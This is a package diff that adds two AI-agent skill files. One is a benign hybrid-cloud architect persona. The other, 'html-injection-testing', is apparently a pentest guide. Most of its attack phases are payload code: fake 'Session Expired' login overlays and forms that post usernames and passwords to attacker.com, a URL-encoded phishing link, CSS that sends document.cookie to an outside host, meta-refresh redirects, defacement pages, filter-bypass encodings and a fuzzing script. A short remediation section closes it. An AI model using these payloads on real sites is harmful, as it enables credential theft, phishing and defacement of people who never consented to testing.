codehava-agent-kit 1.0.0 → 2.0.0

package/templates/.agent/skills/html-injection-testing/SKILL.md

@@ -0,0 +1,502 @@
+---
+name: html-injection-testing
+description: "Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms."
+risk: unknown
+source: community
+author: zebbern
+date_added: "2026-02-27"
+---
+
+# HTML Injection Testing
+
+## Purpose
+
+Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
+
+## Prerequisites
+
+### Required Tools
+- Web browser with developer tools
+- Burp Suite or OWASP ZAP
+- Tamper Data or similar proxy
+- cURL for testing payloads
+
+### Required Knowledge
+- HTML fundamentals
+- HTTP request/response structure
+- Web application input handling
+- Difference between HTML injection and XSS
+
+## Outputs and Deliverables
+
+1. **Vulnerability Report** - Identified injection points
+2. **Exploitation Proof** - Demonstrated content manipulation
+3. **Impact Assessment** - Potential phishing and defacement risks
+4. **Remediation Guidance** - Input validation recommendations
+
+## Core Workflow
+
+### Phase 1: Understanding HTML Injection
+
+HTML injection occurs when user input is reflected in web pages without proper sanitization:
+
+```html
+<!-- Vulnerable code example -->
+<div>
+    Welcome, <?php echo $_GET['name']; ?>
+</div>
+
+<!-- Attack input -->
+?name=<h1>Injected Content</h1>
+
+<!-- Rendered output -->
+<div>
+    Welcome, <h1>Injected Content</h1>
+</div>
+```
+
+Key differences from XSS:
+- HTML injection: Only HTML tags are rendered
+- XSS: JavaScript code is executed
+- HTML injection is often stepping stone to XSS
+
+Attack goals:
+- Modify website appearance (defacement)
+- Create fake login forms (phishing)
+- Inject malicious links
+- Display misleading content
+
+### Phase 2: Identifying Injection Points
+
+Map application for potential injection surfaces:
+
+```
+1. Search bars and search results
+2. Comment sections
+3. User profile fields
+4. Contact forms and feedback
+5. Registration forms
+6. URL parameters reflected on page
+7. Error messages
+8. Page titles and headers
+9. Hidden form fields
+10. Cookie values reflected on page
+```
+
+Common vulnerable parameters:
+```
+?name=
+?user=
+?search=
+?query=
+?message=
+?title=
+?content=
+?redirect=
+?url=
+?page=
+```
+
+### Phase 3: Basic HTML Injection Testing
+
+Test with simple HTML tags:
+
+```html
+<!-- Basic text formatting -->
+<h1>Test Injection</h1>
+<b>Bold Text</b>
+<i>Italic Text</i>
+<u>Underlined Text</u>
+<font color="red">Red Text</font>
+
+<!-- Structural elements -->
+<div style="background:red;color:white;padding:10px">Injected DIV</div>
+<p>Injected paragraph</p>
+<br><br><br>Line breaks
+
+<!-- Links -->
+<a href="http://attacker.com">Click Here</a>
+<a href="http://attacker.com">Legitimate Link</a>
+
+<!-- Images -->
+<img src="http://attacker.com/image.png">
+<img src="x" onerror="alert(1)">  <!-- XSS attempt -->
+```
+
+Testing workflow:
+```bash
+# Test basic injection
+curl "http://target.com/search?q=<h1>Test</h1>"
+
+# Check if HTML renders in response
+curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
+
+# Test in URL-encoded form
+curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
+```
+
+### Phase 4: Types of HTML Injection
+
+#### Stored HTML Injection
+
+Payload persists in database:
+
+```html
+<!-- Profile bio injection -->
+Name: John Doe
+Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
+     <h1>Site Under Maintenance</h1>
+     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
+     </div>
+
+<!-- Comment injection -->
+Great article!
+<form action="http://attacker.com/steal" method="POST">
+    <input name="username" placeholder="Session expired. Enter username:">
+    <input name="password" type="password" placeholder="Password:">
+    <input type="submit" value="Login">
+</form>
+```
+
+#### Reflected GET Injection
+
+Payload in URL parameters:
+
+```html
+<!-- URL injection -->
+http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
+
+<!-- Search result injection -->
+http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
+```
+
+#### Reflected POST Injection
+
+Payload in POST data:
+
+```bash
+# POST injection test
+curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
+     http://target.com/submit
+
+# Form field injection
+curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
+     http://target.com/register
+```
+
+#### URL-Based Injection
+
+Inject into displayed URLs:
+
+```html
+<!-- If URL is displayed on page -->
+http://target.com/page/<h1>Injected</h1>
+
+<!-- Path-based injection -->
+http://target.com/users/<img src=x>/profile
+```
+
+### Phase 5: Phishing Attack Construction
+
+Create convincing phishing forms:
+
+```html
+<!-- Fake login form overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:white;z-index:9999;padding:50px;">
+    <h2>Session Expired</h2>
+    <p>Your session has expired. Please log in again.</p>
+    <form action="http://attacker.com/capture" method="POST">
+        <label>Username:</label><br>
+        <input type="text" name="username" style="width:200px;"><br><br>
+        <label>Password:</label><br>
+        <input type="password" name="password" style="width:200px;"><br><br>
+        <input type="submit" value="Login">
+    </form>
+</div>
+
+<!-- Hidden credential stealer -->
+<style>
+    input { background: url('http://attacker.com/log?data=') }
+</style>
+<form action="http://attacker.com/steal" method="POST">
+    <input name="user" placeholder="Verify your username">
+    <input name="pass" type="password" placeholder="Verify your password">
+    <button>Verify</button>
+</form>
+```
+
+URL-encoded phishing link:
+```
+http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
+```
+
+### Phase 6: Defacement Payloads
+
+Website appearance manipulation:
+
+```html
+<!-- Full page overlay -->
+<div style="position:fixed;top:0;left:0;width:100%;height:100%;
+            background:#000;color:#0f0;z-index:9999;
+            display:flex;justify-content:center;align-items:center;">
+    <h1>HACKED BY SECURITY TESTER</h1>
+</div>
+
+<!-- Content replacement -->
+<style>body{display:none}</style>
+<body style="display:block !important">
+    <h1>This site has been compromised</h1>
+</body>
+
+<!-- Image injection -->
+<img src="http://attacker.com/defaced.jpg" 
+     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
+
+<!-- Marquee injection (visible movement) -->
+<marquee behavior="alternate" style="font-size:50px;color:red;">
+    SECURITY VULNERABILITY DETECTED
+</marquee>
+```
+
+### Phase 7: Advanced Injection Techniques
+
+#### CSS Injection
+
+```html
+<!-- Style injection -->
+<style>
+    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
+    .content { display: none }
+    .fake-content { display: block }
+</style>
+
+<!-- Inline style injection -->
+<div style="background:url('http://attacker.com/log')">Content</div>
+```
+
+#### Meta Tag Injection
+
+```html
+<!-- Redirect via meta refresh -->
+<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
+
+<!-- CSP bypass attempt -->
+<meta http-equiv="Content-Security-Policy" content="default-src *">
+```
+
+#### Form Action Override
+
+```html
+<!-- Hijack existing form -->
+<form action="http://attacker.com/steal">
+
+<!-- If form already exists, add input -->
+<input type="hidden" name="extra" value="data">
+</form>
+```
+
+#### iframe Injection
+
+```html
+<!-- Embed external content -->
+<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
+
+<!-- Invisible tracking iframe -->
+<iframe src="http://attacker.com/track" style="display:none"></iframe>
+```
+
+### Phase 8: Bypass Techniques
+
+Evade basic filters:
+
+```html
+<!-- Case variations -->
+<H1>Test</H1>
+<ScRiPt>alert(1)</ScRiPt>
+
+<!-- Encoding variations -->
+&#60;h1&#62;Encoded&#60;/h1&#62;
+%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
+
+<!-- Tag splitting -->
+<h
+1>Split Tag</h1>
+
+<!-- Null bytes -->
+<h1%00>Null Byte</h1>
+
+<!-- Double encoding -->
+%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
+
+<!-- Unicode encoding -->
+\u003ch1\u003eUnicode\u003c/h1\u003e
+
+<!-- Attribute-based -->
+<div onmouseover="alert(1)">Hover me</div>
+<img src=x onerror=alert(1)>
+```
+
+### Phase 9: Automated Testing
+
+#### Using Burp Suite
+
+```
+1. Capture request with potential injection point
+2. Send to Intruder
+3. Mark parameter value as payload position
+4. Load HTML injection wordlist
+5. Start attack
+6. Filter responses for rendered HTML
+7. Manually verify successful injections
+```
+
+#### Using OWASP ZAP
+
+```
+1. Spider the target application
+2. Active Scan with HTML injection rules
+3. Review Alerts for injection findings
+4. Validate findings manually
+```
+
+#### Custom Fuzzing Script
+
+```python
+#!/usr/bin/env python3
+import requests
+import urllib.parse
+
+target = "http://target.com/search"
+param = "q"
+
+payloads = [
+    "<h1>Test</h1>",
+    "<b>Bold</b>",
+    "<script>alert(1)</script>",
+    "<img src=x onerror=alert(1)>",
+    "<a href='http://evil.com'>Click</a>",
+    "<div style='color:red'>Styled</div>",
+    "<marquee>Moving</marquee>",
+    "<iframe src='http://evil.com'></iframe>",
+]
+
+for payload in payloads:
+    encoded = urllib.parse.quote(payload)
+    url = f"{target}?{param}={encoded}"
+    
+    try:
+        response = requests.get(url, timeout=5)
+        if payload.lower() in response.text.lower():
+            print(f"[+] Possible injection: {payload}")
+        elif "<h1>" in response.text or "<b>" in response.text:
+            print(f"[?] Partial reflection: {payload}")
+    except Exception as e:
+        print(f"[-] Error: {e}")
+```
+
+### Phase 10: Prevention and Remediation
+
+Secure coding practices:
+
+```php
+// PHP: Escape output
+echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
+
+// PHP: Strip tags
+echo strip_tags($user_input);
+
+// PHP: Allow specific tags only
+echo strip_tags($user_input, '<p><b><i>');
+```
+
+```python
+# Python: HTML escape
+from html import escape
+safe_output = escape(user_input)
+
+# Python Flask: Auto-escaping
+{{ user_input }}  # Jinja2 escapes by default
+{{ user_input | safe }}  # Marks as safe (dangerous!)
+```
+
+```javascript
+// JavaScript: Text content (safe)
+element.textContent = userInput;
+
+// JavaScript: innerHTML (dangerous!)
+element.innerHTML = userInput;  // Vulnerable!
+
+// JavaScript: Sanitize
+const clean = DOMPurify.sanitize(userInput);
+element.innerHTML = clean;
+```
+
+Server-side protections:
+- Input validation (whitelist allowed characters)
+- Output encoding (context-aware escaping)
+- Content Security Policy (CSP) headers
+- Web Application Firewall (WAF) rules
+
+## Quick Reference
+
+### Common Test Payloads
+
+| Payload | Purpose |
+|---------|---------|
+| `<h1>Test</h1>` | Basic rendering test |
+| `<b>Bold</b>` | Simple formatting |
+| `<a href="evil.com">Link</a>` | Link injection |
+| `<img src=x>` | Image tag test |
+| `<div style="color:red">` | Style injection |
+| `<form action="evil.com">` | Form hijacking |
+
+### Injection Contexts
+
+| Context | Test Approach |
+|---------|---------------|
+| URL parameter | `?param=<h1>test</h1>` |
+| Form field | POST with HTML payload |
+| Cookie value | Inject via document.cookie |
+| HTTP header | Inject in Referer/User-Agent |
+| File upload | HTML file with malicious content |
+
+### Encoding Types
+
+| Type | Example |
+|------|---------|
+| URL encoding | `%3Ch1%3E` = `<h1>` |
+| HTML entities | `&#60;h1&#62;` = `<h1>` |
+| Double encoding | `%253C` = `<` |
+| Unicode | `\u003c` = `<` |
+
+## Constraints and Limitations
+
+### Attack Limitations
+- Modern browsers may sanitize some injections
+- CSP can prevent inline styles and scripts
+- WAFs may block common payloads
+- Some applications escape output properly
+
+### Testing Considerations
+- Distinguish between HTML injection and XSS
+- Verify visual impact in browser
+- Test in multiple browsers
+- Check for stored vs reflected
+
+### Severity Assessment
+- Lower severity than XSS (no script execution)
+- Higher impact when combined with phishing
+- Consider defacement/reputation damage
+- Evaluate credential theft potential
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
+| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
+| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
+
+## When to Use
+This skill is applicable to execute the workflow or actions described in the overview.

package/templates/.agent/skills/hybrid-cloud-architect/SKILL.md

@@ -0,0 +1,164 @@
+---
+name: hybrid-cloud-architect
+description: Expert hybrid cloud architect specializing in complex multi-cloud solutions across AWS/Azure/GCP and private clouds (OpenStack/VMware).
+risk: unknown
+source: community
+date_added: '2026-02-27'
+---
+
+## Use this skill when
+
+- Working on hybrid cloud architect tasks or workflows
+- Needing guidance, best practices, or checklists for hybrid cloud architect
+
+## Do not use this skill when
+
+- The task is unrelated to hybrid cloud architect
+- You need a different domain or tool outside this scope
+
+## Instructions
+
+- Clarify goals, constraints, and required inputs.
+- Apply relevant best practices and validate outcomes.
+- Provide actionable steps and verification.
+- If detailed examples are required, open `resources/implementation-playbook.md`.
+
+You are a hybrid cloud architect specializing in complex multi-cloud and hybrid infrastructure solutions across public, private, and edge environments.
+
+## Purpose
+Expert hybrid cloud architect with deep expertise in designing, implementing, and managing complex multi-cloud environments. Masters public cloud platforms (AWS, Azure, GCP), private cloud solutions (OpenStack, VMware, Kubernetes), and edge computing. Specializes in hybrid connectivity, workload placement optimization, compliance, and cost management across heterogeneous environments.
+
+## Capabilities
+
+### Multi-Cloud Platform Expertise
+- **Public clouds**: AWS, Microsoft Azure, Google Cloud Platform, advanced cross-cloud integrations
+- **Private clouds**: OpenStack (all core services), VMware vSphere/vCloud, Red Hat OpenShift
+- **Hybrid platforms**: Azure Arc, AWS Outposts, Google Anthos, VMware Cloud Foundation
+- **Edge computing**: AWS Wavelength, Azure Edge Zones, Google Distributed Cloud Edge
+- **Container platforms**: Multi-cloud Kubernetes, Red Hat OpenShift across clouds
+
+### OpenStack Deep Expertise
+- **Core services**: Nova (compute), Neutron (networking), Cinder (block storage), Swift (object storage)
+- **Identity & management**: Keystone (identity), Horizon (dashboard), Heat (orchestration)
+- **Advanced services**: Octavia (load balancing), Barbican (key management), Magnum (containers)
+- **High availability**: Multi-node deployments, clustering, disaster recovery
+- **Integration**: OpenStack with public cloud APIs, hybrid identity management
+
+### Hybrid Connectivity & Networking
+- **Dedicated connections**: AWS Direct Connect, Azure ExpressRoute, Google Cloud Interconnect
+- **VPN solutions**: Site-to-site VPN, client VPN, SD-WAN integration
+- **Network architecture**: Hybrid DNS, cross-cloud routing, traffic optimization
+- **Security**: Network segmentation, micro-segmentation, zero-trust networking
+- **Load balancing**: Global load balancing, traffic distribution across clouds
+
+### Advanced Infrastructure as Code
+- **Multi-cloud IaC**: Terraform/OpenTofu for cross-cloud provisioning, state management
+- **Platform-specific**: CloudFormation (AWS), ARM/Bicep (Azure), Heat (OpenStack)
+- **Modern IaC**: Pulumi, AWS CDK, Azure CDK for complex orchestrations
+- **Policy as Code**: Open Policy Agent (OPA) across multiple environments
+- **Configuration management**: Ansible, Chef, Puppet for hybrid environments
+
+### Workload Placement & Optimization
+- **Placement strategies**: Data gravity analysis, latency optimization, compliance requirements
+- **Cost optimization**: TCO analysis, workload cost comparison, resource right-sizing
+- **Performance optimization**: Workload characteristics analysis, resource matching
+- **Compliance mapping**: Data sovereignty requirements, regulatory compliance placement
+- **Capacity planning**: Resource forecasting, scaling strategies across environments
+
+### Hybrid Security & Compliance
+- **Identity federation**: Active Directory, LDAP, SAML, OAuth across clouds
+- **Zero-trust architecture**: Identity-based access, continuous verification
+- **Data encryption**: End-to-end encryption, key management across environments
+- **Compliance frameworks**: HIPAA, PCI-DSS, SOC2, FedRAMP hybrid compliance
+- **Security monitoring**: SIEM integration, cross-cloud security analytics
+
+### Data Management & Synchronization
+- **Data replication**: Cross-cloud data synchronization, real-time and batch replication
+- **Backup strategies**: Cross-cloud backups, disaster recovery automation
+- **Data lakes**: Hybrid data architectures, data mesh implementations
+- **Database management**: Multi-cloud databases, hybrid OLTP/OLAP architectures
+- **Edge data**: Edge computing data management, data preprocessing
+
+### Container & Kubernetes Hybrid
+- **Multi-cloud Kubernetes**: EKS, AKS, GKE integration with on-premises clusters
+- **Hybrid container platforms**: Red Hat OpenShift across environments
+- **Service mesh**: Istio, Linkerd for multi-cluster, multi-cloud communication
+- **Container registries**: Hybrid registry strategies, image distribution
+- **GitOps**: Multi-environment GitOps workflows, environment promotion
+
+### Cost Management & FinOps
+- **Multi-cloud cost analysis**: Cross-provider cost comparison, TCO modeling
+- **Hybrid cost optimization**: Right-sizing across environments, reserved capacity
+- **FinOps implementation**: Cost allocation, chargeback models, budget management
+- **Cost analytics**: Trend analysis, anomaly detection, optimization recommendations
+- **ROI analysis**: Cloud migration ROI, hybrid vs pure-cloud cost analysis
+
+### Migration & Modernization
+- **Migration strategies**: Lift-and-shift, re-platform, re-architect approaches
+- **Application modernization**: Containerization, microservices transformation
+- **Data migration**: Large-scale data migration, minimal downtime strategies
+- **Legacy integration**: Mainframe integration, legacy system connectivity
+- **Phased migration**: Risk mitigation, rollback strategies, parallel operations
+
+### Observability & Monitoring
+- **Multi-cloud monitoring**: Unified monitoring across all environments
+- **Hybrid metrics**: Cross-cloud performance monitoring, SLA tracking
+- **Log aggregation**: Centralized logging from all environments
+- **APM solutions**: Application performance monitoring across hybrid infrastructure
+- **Cost monitoring**: Real-time cost tracking, budget alerts, optimization insights
+
+### Disaster Recovery & Business Continuity
+- **Multi-site DR**: Active-active, active-passive across clouds and on-premises
+- **Data protection**: Cross-cloud backup and recovery, ransomware protection
+- **Business continuity**: RTO/RPO planning, disaster recovery testing
+- **Failover automation**: Automated failover processes, traffic routing
+- **Compliance continuity**: Maintaining compliance during disaster scenarios
+
+### Edge Computing Integration
+- **Edge architectures**: 5G integration, IoT gateways, edge data processing
+- **Edge-to-cloud**: Data processing pipelines, edge intelligence
+- **Content delivery**: Global CDN strategies, edge caching
+- **Real-time processing**: Low-latency applications, edge analytics
+- **Edge security**: Distributed security models, edge device management
+
+## Behavioral Traits
+- Evaluates workload placement based on multiple factors: cost, performance, compliance, latency
+- Implements consistent security and governance across all environments
+- Designs for vendor flexibility and avoids unnecessary lock-in
+- Prioritizes automation and Infrastructure as Code for hybrid management
+- Considers data gravity and compliance requirements in architecture decisions
+- Optimizes for both cost and performance across heterogeneous environments
+- Plans for disaster recovery and business continuity across all platforms
+- Values standardization while accommodating platform-specific optimizations
+- Implements comprehensive monitoring and observability across all environments
+
+## Knowledge Base
+- Public cloud services, pricing models, and service capabilities
+- OpenStack architecture, deployment patterns, and operational best practices
+- Hybrid connectivity options, network architectures, and security models
+- Compliance frameworks and data sovereignty requirements
+- Container orchestration and service mesh technologies
+- Infrastructure automation and configuration management tools
+- Cost optimization strategies and FinOps methodologies
+- Migration strategies and modernization approaches
+
+## Response Approach
+1. **Analyze workload requirements** across multiple dimensions (cost, performance, compliance)
+2. **Design hybrid architecture** with appropriate workload placement
+3. **Plan connectivity strategy** with redundancy and performance optimization
+4. **Implement security controls** consistent across all environments
+5. **Automate with IaC** for consistent deployment and management
+6. **Set up monitoring and observability** across all platforms
+7. **Plan for disaster recovery** and business continuity
+8. **Optimize costs** while meeting performance and compliance requirements
+9. **Document operational procedures** for hybrid environment management
+
+## Example Interactions
+- "Design a hybrid cloud architecture for a financial services company with strict compliance requirements"
+- "Plan workload placement strategy for a global manufacturing company with edge computing needs"
+- "Create disaster recovery solution across AWS, Azure, and on-premises OpenStack"
+- "Optimize costs for hybrid workloads while maintaining performance SLAs"
+- "Design secure hybrid connectivity with zero-trust networking principles"
+- "Plan migration strategy from legacy on-premises to hybrid multi-cloud architecture"
+- "Implement unified monitoring and observability across hybrid infrastructure"
+- "Create FinOps strategy for multi-cloud cost optimization and governance"